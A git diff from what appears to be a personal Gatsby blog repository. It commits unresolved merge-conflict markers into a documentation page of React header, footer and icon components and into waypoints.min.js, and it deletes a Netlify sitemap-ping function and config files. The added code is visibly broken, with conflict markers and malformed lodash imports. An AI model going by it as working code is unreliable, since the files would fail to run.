+                                            &lt;input type=&quot;submit&quot; defaultValue=&quot;search&quot; /&gt;
+                                        &lt;/form&gt;
+                                    &lt;/td&gt;
+                                &lt;/tr&gt;
+                                &lt;tr&gt;
+                                    &lt;td
+                                        style={{
+>>>>>>> master
                                             textAlign: &#39;center&#39;,
                                             fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
                                             fontSize: &#39;7.5pt&#39;,
                                             paddingTop: &#39;4px&#39;
                                         }}
+<<<<<<< HEAD
             &gt;
             &lt;a
             style={{
@@ -3776,6 +6949,171 @@ <h1 id="source-code">Source Code</h1>
             height={40}
             viewBox=&quot;0 0 250 250&quot;
             style={{
+=======
+                                    &gt;
+                                        &lt;a
+                                            style={{
+                                                textDecoration: &#39;none&#39;,
+                                                color: &#39;transparent&#39;
+                                            }}
+                                            href=&quot;https://www.freefind.com&quot;
+                                            rel=&quot;nofollow&quot;
+                                        &gt;
+                                            search engine
+                                        &lt;/a&gt;
+                                        &lt;a
+                                            style={{
+                                                textDecoration: &#39;none&#39;,
+                                                color: &#39;transparent&#39;
+                                            }}
+                                            href=&quot;https://www.freefind.com&quot;
+                                            rel=&quot;nofollow&quot;
+                                        &gt;
+                                            by
+                                            &lt;span style={{ color: &#39;transparent&#39; }}&gt; freefind&lt;/span&gt;
+                                        &lt;/a&gt;
+                                        {
+                                            &lt;iframe
+                                                src=&quot;https://bgoonz.github.io/fb-and-twitter-api-embeds/&quot;
+                                                frameborder=&quot;0&quot;
+                                                id=&quot;social-embed&quot;
+                                                width=&quot;100%!important&quot;
+                                            &gt;
+                                                {&#39; &#39;}
+                                            &lt;/iframe&gt;
+                                        }
+                                    &lt;/td&gt;
+                                &lt;/tr&gt;
+                            &lt;/tbody&gt;
+                        &lt;/table&gt;
+                        &lt;a href=&quot;//pdfcrowd.com/url_to_pdf/?&quot; onclick=&quot;if(!this.p)href+=&#39;&amp;url=&#39;+encodeURIComponent(location.href);this.p=1&quot;&gt;
+                            Save to PDF
+                        &lt;/a&gt;
+                    &lt;/center&gt;
+                &lt;/div&gt;
+                &lt;div className=&quot;inner&quot;&gt;
+                    &lt;div id=&quot;search&quot; className=&quot;inner&quot;&gt;
+                        {&#39; &#39;}
+                    &lt;/div&gt;
+                    &lt;div className=&quot;site-footer-inside&quot;&gt;
+                        &lt;p className=&quot;site-info&quot;&gt;
+                            {_.get(this.props, &#39;pageContext.site.siteMetadata.footer.content&#39;, null) &amp;&amp; (
+                                &lt;span className=&quot;copyright&quot;&gt; {htmlToReact(_.get(this.props, &#39;pageContext.site.siteMetadata.footer.content&#39;, null))}&lt;/span&gt;
+                            )}
+                            {_.map(_.get(this.props, &#39;pageContext.site.siteMetadata.footer.links&#39;, null), (action, action_idx) =&gt; (
+                                &lt;ActionLink key={action_idx} {...this.props} action={action} /&gt;
+                            ))}{&#39; &#39;}
+                        &lt;/p&gt;
+                        {_.get(this.props, &#39;pageContext.site.siteMetadata.footer.has_social&#39;, null) &amp;&amp; (
+                            &lt;div className=&quot;social-links&quot;&gt;
+                                {_.map(_.get(this.props, &#39;pageContext.site.siteMetadata.footer.social_links&#39;, null), (action, action_idx) =&gt; (
+                                    &lt;ActionLink key={action_idx} {...this.props} action={action} /&gt;
+                                ))}{&#39; &#39;}
+                            &lt;/div&gt;
+                        )}{&#39; &#39;}
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/footer&gt;
+        );
+    }
+}
+</code></pre>
+<hr>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import_ from &#39;lodash&#39;;
+import { Link, withPrefix, classNames } from &#39;../utils&#39;;
+import ActionLink from &#39;./ActionLink&#39;;
+import Submenu from &#39;./Submenu&#39;;
+export default class Header extends React.Component {
+    render() {
+        return (
+            &lt;header id=&quot;masthead&quot; className=&quot;site-header outer&quot;&gt;
+                {/*&lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css&quot; /&gt;*/}
+                &lt;br /&gt;
+                &lt;div className=&quot;inner&quot;&gt;
+                    &lt;div className=&quot;site-header-inside&quot;&gt;
+                        &lt;div className=&quot;site-branding&quot;&gt;
+                            {_.get(this.props, &#39;pageContext.site.siteMetadata.header.logo_img&#39;, null) ? (
+                                &lt;p className=&quot;site-logo&quot;&gt;
+                                    &lt;Link to={withPrefix(_.get(this.props, &#39;pageContext.site.siteMetadata.header.url&#39;, null) || &#39;/&#39;)}&gt;
+                                        &lt;img
+                                            src={withPrefix(_.get(this.props, &#39;pageContext.site.siteMetadata.header.logo_img&#39;, null))}
+                                            alt={_.get(this.props, &#39;pageContext.site.siteMetadata.header.logo_img_alt&#39;, null)}
+                                        /&gt;
+                                    &lt;/Link&gt;
+                                &lt;/p&gt;
+                            ) : (
+                                &lt;p className=&quot;site-title&quot;&gt;
+                                    {&#39; &#39;}
+                                    WebDevHub
+                                    &lt;Link to={withPrefix(_.get(this.props, &#39;pageContext.site.siteMetadata.header.url&#39;, null) || &#39;/&#39;)}&gt;
+                                        {_.get(this.props, &#39;pageContext.site.siteMetadata.header.title&#39;, null)}
+                                    &lt;/Link&gt;
+                                &lt;/p&gt;
+                            )}
+                        &lt;/div&gt;
+                        &lt;div id=&quot;search&quot; className=&quot;inner&quot;&gt;
+                            {&#39; &#39;}
+                        &lt;/div&gt;
+                        {_.get(this.props, &#39;pageContext.site.siteMetadata.header.has_nav&#39;, null) &amp;&amp; (
+                            &lt;React.Fragment&gt;
+                                &lt;nav id=&quot;main-navigation&quot; className=&quot;site-navigation&quot; aria-label=&quot;Main Navigation&quot;&gt;
+                                    &lt;div className=&quot;site-nav-inside&quot;&gt;
+                                        &lt;button id=&quot;menu-close&quot; className=&quot;menu-toggle&quot;&gt;
+                                            &lt;span className=&quot;screen-reader-text&quot;&gt; Open Menu&lt;/span&gt;
+                                            &lt;span className=&quot;icon-close&quot; aria-hidden=&quot;true&quot; /&gt;
+                                        &lt;/button&gt;
+                                        &lt;ul className=&quot;menu&quot;&gt;
+                                            {_.map(_.get(this.props, &#39;pageContext.site.siteMetadata.header.nav_links&#39;, null), (action, action_idx) =&gt; {
+let page_url =_.trim(_.get(this.props, &#39;pageContext.url&#39;, null), &#39;/&#39;);
+let action_url =_.trim(_.get(action, &#39;url&#39;, null), &#39;/&#39;);
+                                                return (
+                                                    &lt;li
+                                                        key={action_idx}
+                                                        className={classNames(&#39;menu-item&#39;, {
+&#39;has-children&#39;:_.get(action, &#39;has_subnav&#39;, null) &amp;&amp; _.get(action, &#39;subnav_links&#39;, null),
+                                                            current: page_url === action_url,
+&#39;menu-button&#39;:_.get(action, &#39;style&#39;, null) !== &#39;link&#39;
+                                                        })}
+                                                    &gt;
+                                                        &lt;ActionLink {...this.props} action={action} /&gt;
+                                                        {_.get(action, &#39;has_subnav&#39;, null) &amp;&amp;_.get(action, &#39;subnav_links&#39;, null) &amp;&amp; (
+                                                            &lt;React.Fragment&gt;
+                                                                &lt;button className=&quot;submenu-toggle&quot;&gt;
+                                                                    &lt;span className=&quot;icon-angle-right&quot; aria-hidden=&quot;true&quot; /&gt;
+                                                                    &lt;span className=&quot;screen-reader-text&quot;&gt; Sub-menu&lt;/span&gt;
+                                                                &lt;/button&gt;
+                                                                &lt;Submenu
+                                                                    {...this.props}
+                                                                    submenu={_.get(action, &#39;subnav_links&#39;, null)}
+                                                                    menu_class={&#39;submenu&#39;}
+                                                                    page={this.props.pageContext}
+                                                                /&gt;
+                                                            &lt;/React.Fragment&gt;
+                                                        )}
+                                                    &lt;/li&gt;
+                                                );
+                                            })}
+                                        &lt;/ul&gt;
+                                    &lt;/div&gt;
+                                &lt;/nav&gt;
+                                &lt;button id=&quot;menu-open&quot; className=&quot;menu-toggle&quot;&gt;
+                                    &lt;span className=&quot;screen-reader-text&quot;&gt; Close Menu&lt;/span&gt;
+                                    &lt;span className=&quot;icon-menu&quot; aria-hidden=&quot;true&quot; /&gt;
+                                &lt;/button&gt;
+                            &lt;/React.Fragment&gt;
+                        )}
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div&gt;
+                    &lt;a className=&quot;github-corner&quot; href=&quot;https://github.com/bgoonz/BGOONZ_BLOG_2.0&quot; aria-label=&quot;View source on Github&quot;&gt;
+                        &lt;svg
+                            aria-hidden=&quot;true&quot;
+                            width={40}
+                            height={40}
+                            viewBox=&quot;0 0 250 250&quot;
+                            style={{
+>>>>>>> master
                                 zIndex: 100000,
                                 fill: &#39;black&#39;,
                                 color: &#39;#fff&#39;,
@@ -3785,6 +7123,7 @@ <h1 id="source-code">Source Code</h1>
                                 left: &#39;0px&#39;,
                                 transform: &#39;scale(-1.5, 1.5)&#39;
                             }}
+<<<<<<< HEAD
             &gt;
             &lt;path d=&quot;M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z&quot;&gt;&lt;/path&gt;
             &lt;path
@@ -4719,3 +8058,96 @@ <h1 id="source-code">Source Code</h1>
 </body>
 
 </html>
+=======
+                        &gt;
+                            &lt;path d=&quot;M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z&quot;&gt; &lt;/path&gt;
+                            &lt;path
+                                className=&quot;octo-arm&quot;
+                                d=&quot;M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2&quot;
+                                fill=&quot;currentColor&quot;
+                                style={{ transformOrigin: &#39;130px 106px&#39; }}
+                            &gt;
+                                {&#39; &#39;}
+                            &lt;/path&gt;
+                            &lt;path
+                                className=&quot;octo-body&quot;
+                                d=&quot;M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z&quot;
+                                fill=&quot;currentColor&quot;
+                            &gt;
+                                {&#39; &#39;}
+                            &lt;/path&gt;
+                        &lt;/svg&gt;
+                    &lt;/a&gt;
+                &lt;/div&gt;
+            &lt;/header&gt;
+        );
+    }
+}
+</code></pre>
+<hr>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import _from &#39;lodash&#39;;
+export default class Icon extends React.Component {
+    render() {
+let icon =_.get(this.props, &#39;icon&#39;, null);
+        return (
+            &lt;svg className=&quot;icon&quot; viewBox=&quot;0 0 24 24&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
+                {icon === &#39;dev&#39; ? (
+                    &lt;path d=&quot;M7.42 10.05c-.18-.16-.46-.23-.84-.23H6l.02 2.44.04 2.45.56-.02c.41 0 .63-.07.83-.26.24-.24.26-.36.26-2.2 0-1.91-.02-1.96-.29-2.18zM0 4.94v14.12h24V4.94H0zM8.56 15.3c-.44.58-1.06.77-2.53.77H4.71V8.53h1.4c1.67 0 2.16.18 2.6.9.27.43.29.6.32 2.57.05 2.23-.02 2.73-.47 3.3zm5.09-5.47h-2.47v1.77h1.52v1.28l-.72.04-.75.03v1.77l1.22.03 1.2.04v1.28h-1.6c-1.53 0-1.6-.01-1.87-.3l-.3-.28v-3.16c0-3.02.01-3.18.25-3.48.23-.31.25-.31 1.88-.31h1.64v1.3zm4.68 5.45c-.17.43-.64.79-1 .79-.18 0-.45-.15-.67-.39-.32-.32-.45-.63-.82-2.08l-.9-3.39-.45-1.67h.76c.4 0 .75.02.75.05 0 .06 1.16 4.54 1.26 4.83.04.15.32-.7.73-2.3l.66-2.52.74-.04c.4-.02.73 0 .73.04 0 .14-1.67 6.38-1.8 6.68z&quot; /&gt;
+                ) : icon === &#39;facebook&#39; ? (
+                    &lt;path d=&quot;M23.998 12c0-6.628-5.372-12-11.999-12C5.372 0 0 5.372 0 12c0 5.988 4.388 10.952 10.124 11.852v-8.384H7.078v-3.469h3.046V9.356c0-3.008 1.792-4.669 4.532-4.669 1.313 0 2.686.234 2.686.234v2.953H15.83c-1.49 0-1.955.925-1.955 1.874V12h3.328l-.532 3.469h-2.796v8.384c5.736-.9 10.124-5.864 10.124-11.853z&quot; /&gt;
+                ) : icon === &#39;github&#39; ? (
+                    &lt;path d=&quot;M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12&quot; /&gt;
+                ) : icon === &#39;instagram&#39; ? (
+                    &lt;path d=&quot;M12 0C8.74 0 8.333.015 7.053.072 5.775.132 4.905.333 4.14.63c-.789.306-1.459.717-2.126 1.384S.935 3.35.63 4.14C.333 4.905.131 5.775.072 7.053.012 8.333 0 8.74 0 12s.015 3.667.072 4.947c.06 1.277.261 2.148.558 2.913a5.885 5.885 0 001.384 2.126A5.868 5.868 0 004.14 23.37c.766.296 1.636.499 2.913.558C8.333 23.988 8.74 24 12 24s3.667-.015 4.947-.072c1.277-.06 2.148-.262 2.913-.558a5.898 5.898 0 002.126-1.384 5.86 5.86 0 001.384-2.126c.296-.765.499-1.636.558-2.913.06-1.28.072-1.687.072-4.947s-.015-3.667-.072-4.947c-.06-1.277-.262-2.149-.558-2.913a5.89 5.89 0 00-1.384-2.126A5.847 5.847 0 0019.86.63c-.765-.297-1.636-.499-2.913-.558C15.667.012 15.26 0 12 0zm0 2.16c3.203 0 3.585.016 4.85.071 1.17.055 1.805.249 2.227.415.562.217.96.477 1.382.896.419.42.679.819.896 1.381.164.422.36 1.057.413 2.227.057 1.266.07 1.646.07 4.85s-.015 3.585-.074 4.85c-.061 1.17-.256 1.805-.421 2.227a3.81 3.81 0 01-.899 1.382 3.744 3.744 0 01-1.38.896c-.42.164-1.065.36-2.235.413-1.274.057-1.649.07-4.859.07-3.211 0-3.586-.015-4.859-.074-1.171-.061-1.816-.256-2.236-.421a3.716 3.716 0 01-1.379-.899 3.644 3.644 0 01-.9-1.38c-.165-.42-.359-1.065-.42-2.235-.045-1.26-.061-1.649-.061-4.844 0-3.196.016-3.586.061-4.861.061-1.17.255-1.814.42-2.234.21-.57.479-.96.9-1.381.419-.419.81-.689 1.379-.898.42-.166 1.051-.361 2.221-.421 1.275-.045 1.65-.06 4.859-.06l.045.03zm0 3.678a6.162 6.162 0 100 12.324 6.162 6.162 0 100-12.324zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4zm7.846-10.405a1.441 1.441 0 01-2.88 0 1.44 1.44 0 012.88 0z&quot; /&gt;
+                ) : icon === &#39;linkedin&#39; ? (
+                    &lt;path d=&quot;M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.062 2.062 0 01-2.063-2.065 2.064 2.064 0 112.063 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z&quot; /&gt;
+                ) : icon === &#39;pinterest&#39; ? (
+                    &lt;path d=&quot;M12.017 0C5.396 0 .029 5.367.029 11.987c0 5.079 3.158 9.417 7.618 11.162-.105-.949-.199-2.403.041-3.439.219-.937 1.406-5.957 1.406-5.957s-.359-.72-.359-1.781c0-1.663.967-2.911 2.168-2.911 1.024 0 1.518.769 1.518 1.688 0 1.029-.653 2.567-.992 3.992-.285 1.193.6 2.165 1.775 2.165 2.128 0 3.768-2.245 3.768-5.487 0-2.861-2.063-4.869-5.008-4.869-3.41 0-5.409 2.562-5.409 5.199 0 1.033.394 2.143.889 2.741.099.12.112.225.085.345-.09.375-.293 1.199-.334 1.363-.053.225-.172.271-.401.165-1.495-.69-2.433-2.878-2.433-4.646 0-3.776 2.748-7.252 7.92-7.252 4.158 0 7.392 2.967 7.392 6.923 0 4.135-2.607 7.462-6.233 7.462-1.214 0-2.354-.629-2.758-1.379l-.749 2.848c-.269 1.045-1.004 2.352-1.498 3.146 1.123.345 2.306.535 3.55.535 6.607 0 11.985-5.365 11.985-11.987C23.97 5.39 18.592.026 11.985.026L12.017 0z&quot; /&gt;
+                ) : icon === &#39;reddit&#39; ? (
+                    &lt;path d=&quot;M12 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0zm5.01 4.744c.688 0 1.25.561 1.25 1.249a1.25 1.25 0 0 1-2.498.056l-2.597-.547-.8 3.747c1.824.07 3.48.632 4.674 1.488.308-.309.73-.491 1.207-.491.968 0 1.754.786 1.754 1.754 0 .716-.435 1.333-1.01 1.614a3.111 3.111 0 0 1 .042.52c0 2.694-3.13 4.87-7.004 4.87-3.874 0-7.004-2.176-7.004-4.87 0-.183.015-.366.043-.534A1.748 1.748 0 0 1 4.028 12c0-.968.786-1.754 1.754-1.754.463 0 .898.196 1.207.49 1.207-.883 2.878-1.43 4.744-1.487l.885-4.182a.342.342 0 0 1 .14-.197.35.35 0 0 1 .238-.042l2.906.617a1.214 1.214 0 0 1 1.108-.701zM9.25 12C8.561 12 8 12.562 8 13.25c0 .687.561 1.248 1.25 1.248.687 0 1.248-.561 1.248-1.249 0-.688-.561-1.249-1.249-1.249zm5.5 0c-.687 0-1.248.561-1.248 1.25 0 .687.561 1.248 1.249 1.248.688 0 1.249-.561 1.249-1.249 0-.687-.562-1.249-1.25-1.249zm-5.466 3.99a.327.327 0 0 0-.231.094.33.33 0 0 0 0 .463c.842.842 2.484.913 2.961.913.477 0 2.105-.056 2.961-.913a.361.361 0 0 0 .029-.463.33.33 0 0 0-.464 0c-.547.533-1.684.73-2.512.73-.828 0-1.979-.196-2.512-.73a.326.326 0 0 0-.232-.095z&quot; /&gt;
+                ) : icon === &#39;twitter&#39; ? (
+                    &lt;path d=&quot;M23.954 4.569a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.691 8.094 4.066 6.13 1.64 3.161a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.061a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.937 4.937 0 004.604 3.417 9.868 9.868 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.209c9.054 0 13.999-7.496 13.999-13.986 0-.209 0-.42-.015-.63a9.936 9.936 0 002.46-2.548l-.047-.02z&quot; /&gt;
+                ) : icon === &#39;youtube&#39; ? (
+                    &lt;path d=&quot;M23.495 6.205a3.007 3.007 0 00-2.088-2.088c-1.87-.501-9.396-.501-9.396-.501s-7.507-.01-9.396.501A3.007 3.007 0 00.527 6.205a31.247 31.247 0 00-.522 5.805 31.247 31.247 0 00.522 5.783 3.007 3.007 0 002.088 2.088c1.868.502 9.396.502 9.396.502s7.506 0 9.396-.502a3.007 3.007 0 002.088-2.088 31.247 31.247 0 00.5-5.783 31.247 31.247 0 00-.5-5.805zM9.609 15.601V8.408l6.264 3.602z&quot; /&gt;
+                ) : (
+                    icon === &#39;vimeo&#39; &amp;&amp; (
+                        &lt;path d=&quot;M23.977 6.416c-.105 2.338-1.739 5.543-4.894 9.609-3.268 4.247-6.026 6.37-8.29 6.37-1.409 0-2.578-1.294-3.553-3.881L5.322 11.4C4.603 8.816 3.834 7.522 3.01 7.522c-.179 0-.806.378-1.881 1.132L0 7.197a315.065 315.065 0 003.501-3.128C5.08 2.701 6.266 1.984 7.055 1.91c1.867-.18 3.016 1.1 3.447 3.838.465 2.953.789 4.789.971 5.507.539 2.45 1.131 3.674 1.776 3.674.502 0 1.256-.796 2.265-2.385 1.004-1.589 1.54-2.797 1.612-3.628.144-1.371-.395-2.061-1.614-2.061-.574 0-1.167.121-1.777.391 1.186-3.868 3.434-5.757 6.762-5.637 2.473.06 3.628 1.664 3.493 4.797l-.013.01z&quot; /&gt;
+                    )
+                )}
+            &lt;/svg&gt;
+        );
+    }
+}
+</code></pre>
+</div>
+        </div>
+        <div class="components">
+        </div>
+      </section>
+    </main>
+    <script type="text/javascript">
+      var sidebar = document.querySelector('aside');
+      sidebar.addEventListener('mouseover', (e) => {
+        document.body.classList.add('noscroll');
+      });
+      
+      sidebar.addEventListener('mouseleave', (e) => {
+        document.body.classList.remove('noscroll');
+      });
+    </script>
+    <script type="text/javascript">hljs.initHighlightingOnLoad();</script>
+    <script src="https://code.jquery.com/jquery-1.12.1.min.js"></script>
+    <script type="text/javascript">
+      $('a[href^=\\#]').click(function(event) {
+        $('html, body').animate({
+          scrollTop: $( $.attr(this, 'href') ).offset().top
+        }, 500);
+        event.preventDefault();
+      });
+    </script>
+    <script src="js/waypoints.min.js"></script>
+    <script src="js/main.js"></script>
+  </body>
+</html>
+>>>>>>> master
diff --git a/docs/js/waypoints.min.js b/docs/js/waypoints.min.js
index 6e5d6c059b..93c70a0fba 100644
--- a/docs/js/waypoints.min.js
+++ b/docs/js/waypoints.min.js
@@ -6,6 +6,7 @@ https://github.com/imakewebthings/jquery-waypoints/blob/master/MIT-license.txt
 https://github.com/imakewebthings/jquery-waypoints/blob/master/GPL-license.txt
 */
 (function ($, k, m, i, d) {
+<<<<<<< HEAD
     var e = $(i),
         g = 'waypoint.reached',
         b = function (o, n) {
@@ -260,3 +261,51 @@ https://github.com/imakewebthings/jquery-waypoints/blob/master/GPL-license.txt
         $[m]('refresh');
     });
 })(jQuery, 'waypoint', 'waypoints', window);
+=======
+var e = $(i), g = 'waypoint.reached', b = function (o, n) {
+o.element.trigger(g, n);if (o.options.triggerOnce) {o.element[k]('destroy');}
+}, h = function (p, o) {
+if (!o) {return -1;}var n = o.waypoints.length - 1;while (n >= 0 && o.waypoints[n].element[0] !== p[0]) {n -= 1}return n
+}, f = [], l = function (n) {
+$.extend(this, { element:$(n), oldScroll:0, waypoints:[], didScroll:false, didResize:false, doScroll:$.proxy(function () {
+var q = this.element.scrollTop(), p = q > this.oldScroll, s = this, r = $.grep(this.waypoints, function (u, t) {return p ? (u.offset > s.oldScroll && u.offset <= q) : (u.offset <= s.oldScroll && u.offset > q)}), o = r.length;if (!this.oldScroll || !q) {$[m]("refresh")}this.oldScroll = q;if (!o) {return }if (!p) {r.reverse()}$.each(r, function (u, t) {if (t.options.continuous || u === o - 1) {b(t, [p ? "down" : "up"])}})
+}, this) });$(n).bind("scroll.waypoints", $.proxy(function () {if (!this.didScroll) {
+this.didScroll = true;i.setTimeout($.proxy(function () {
+this.doScroll();this.didScroll = false
+}, this), $[m].settings.scrollThrottle)
+}}, this)).bind("resize.waypoints", $.proxy(function () {if (!this.didResize) {
+this.didResize = true;i.setTimeout($.proxy(function () {
+$[m]("refresh");this.didResize = false
+}, this), $[m].settings.resizeThrottle)
+}}, this));e.load($.proxy(function () {this.doScroll()}, this))
+}, j = function (n) {
+var o = null;$.each(f, function (p, q) {if (q.element[0] === n) {
+o = q;return false
+}});return o
+}, c = { init:function (o, n) {
+this.each(function () {
+var u = $.fn[k].defaults.context, q, t = $(this);if (n && n.context) {u = n.context}if (!$.isWindow(u)) {u = t.closest(u)[0]}q = j(u);if (!q) {
+q = new l(u);f.push(q)
+}var p = h(t, q), s = p < 0 ? $.fn[k].defaults : q.waypoints[p].options, r = $.extend({}, s, n);r.offset = r.offset === "bottom-in-view" ? function () {
+var v = $.isWindow(u) ? $[m]("viewportHeight") : $(u).height();return v - $(this).outerHeight()
+} : r.offset;if (p < 0) {q.waypoints.push({ element:t, offset:null, options:r })}else {q.waypoints[p].options = r}if (o) {t.bind(g, o)}if (n && n.handler) {t.bind(g, n.handler)}
+});$[m]("refresh");return this
+}, remove:function () {return this.each(function (o, p) {
+var n = $(p);$.each(f, function (r, s) {
+var q = h(n, s);if (q >= 0) {
+s.waypoints.splice(q, 1);if (!s.waypoints.length) {
+s.element.unbind("scroll.waypoints resize.waypoints");f.splice(r, 1)
+}
+}
+})
+})}, destroy:function () {return this.unbind(g)[k]("remove")} }, a = { refresh:function () {$.each(f, function (r, s) {
+var q = $.isWindow(s.element[0]), n = q ? 0 : s.element.offset().top, p = q ? $[m]("viewportHeight") : s.element.height(), o = q ? 0 : s.element.scrollTop();$.each(s.waypoints, function (u, x) {
+if (!x) {return }var t = x.options.offset, w = x.offset;if (typeof x.options.offset === "function") {t = x.options.offset.apply(x.element)}else {if (typeof x.options.offset === "string") {
+var v = parseFloat(x.options.offset);t = x.options.offset.indexOf("%") ? Math.ceil(p * (v / 100)) : v
+}}x.offset = x.element.offset().top - n + o - t;if (x.options.onlyOnScroll) {return }if (w !== null && s.oldScroll > w && s.oldScroll <= x.offset) {b(x, ["up"])}else {if (w !== null && s.oldScroll < w && s.oldScroll >= x.offset) {b(x, ["down"])}else {if (!w && s.element.scrollTop() > x.offset) {b(x, ["down"])}}}
+});s.waypoints.sort(function (u, t) {return u.offset - t.offset})
+})}, viewportHeight:function () {return (i.innerHeight ? i.innerHeight : e.height())}, aggregate:function () {
+var n = $();$.each(f, function (o, p) {$.each(p.waypoints, function (q, r) {n = n.add(r.element)})});return n
+} };$.fn[k] = function (n) {if (c[n]) {return c[n].apply(this, Array.prototype.slice.call(arguments, 1))}else {if (typeof n === "function" || !n) {return c.init.apply(this, arguments)}else {if (typeof n === "object") {return c.init.apply(this, [null, n])}else {$.error("Method " + n + " does not exist on jQuery " + k)}}}};$.fn[k].defaults = { continuous:true, offset:0, triggerOnce:false, context:i };$[m] = function (n) {if (a[n]) {return a[n].apply(this)}else {return a.aggregate()}};$[m].settings = { resizeThrottle:200, scrollThrottle:100 };e.load(function () {$[m]("refresh")})
+})(jQuery, "waypoint", "waypoints", window);
+>>>>>>> master
diff --git a/eslintrc.json b/eslintrc.json
deleted file mode 100644
index 2395c9ae4a..0000000000
--- a/eslintrc.json
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-    "env": {
-        "node": true,
-        "es6": true
-    },
-    "extends": "eslint:recommended",
-    "parserOptions": {
-        "ecmaVersion": 2018
-    }
-}
diff --git a/favicon.ico b/favicon.ico
deleted file mode 100644
index 923c76d2fc..0000000000
Binary files a/favicon.ico and /dev/null differ
diff --git a/functions/deploy-succeeded.js b/functions/deploy-succeeded.js
deleted file mode 100644
index 3311aac61b..0000000000
--- a/functions/deploy-succeeded.js
+++ /dev/null
@@ -1,31 +0,0 @@
-const contextCondition = 'production';
-const stateCondition = 'ready';
-const sitemapUrl = process.env.SITEMAP_URL;
-const axios = require( 'axios' );
-exports.handler = async ( event ) => {
-  try {
-    const {
-      payload
-    } = JSON.parse( event.body );
-    const {
-      state,
-      context
-    } = payload;
-    if ( sitemapUrl && state === stateCondition && context === contextCondition ) {
-      console.log( `Sending sitemap ping to google for ${sitemapUrl}` );
-      await axios.get( `http://www.google.com/ping?sitemap=${sitemapUrl}` );
-      return {
-        statusCode: 200,
-        body: `Submitted Successfully`
-      };
-    }
-    console.log( 'Conditions not met, not submitting' );
-    return {
-      statusCode: 200,
-      body: `Conditions not met, not submitting`
-    };
-  } catch ( err ) {
-    console.log( err );
-    throw err;
-  }
-};
diff --git a/gatsby-browser.js b/gatsby-browser.js
index 5f2652bffd..4b408692b6 100644
--- a/gatsby-browser.js
+++ b/gatsby-browser.js
@@ -9,21 +9,21 @@
 // window.onGatsbyInitialClientRender() has run
 let initialized = false;
 exports.onInitialClientRender = () => {
-  initialized = true;
-  if ( 'onGatsbyInitialClientRender' in window && typeof window.onGatsbyInitialClientRender === 'function' ) {
-    window.onGatsbyInitialClientRender();
-  }
-  if ( 'onGatsbyRouteUpdate' in window && typeof window.onGatsbyRouteUpdate === 'function' ) {
-    window.onGatsbyRouteUpdate();
-  }
+    initialized = true;
+    if ( 'onGatsbyInitialClientRender' in window && typeof window.onGatsbyInitialClientRender === 'function' ) {
+        window.onGatsbyInitialClientRender();
+    }
+    if ( 'onGatsbyRouteUpdate' in window && typeof window.onGatsbyRouteUpdate === 'function' ) {
+        window.onGatsbyRouteUpdate();
+    }
 };
 exports.onRouteUpdate = () => {
-  if ( initialized && 'onGatsbyRouteUpdate' in window && typeof window.onGatsbyRouteUpdate === 'function' ) {
-    window.onGatsbyRouteUpdate();
-  }
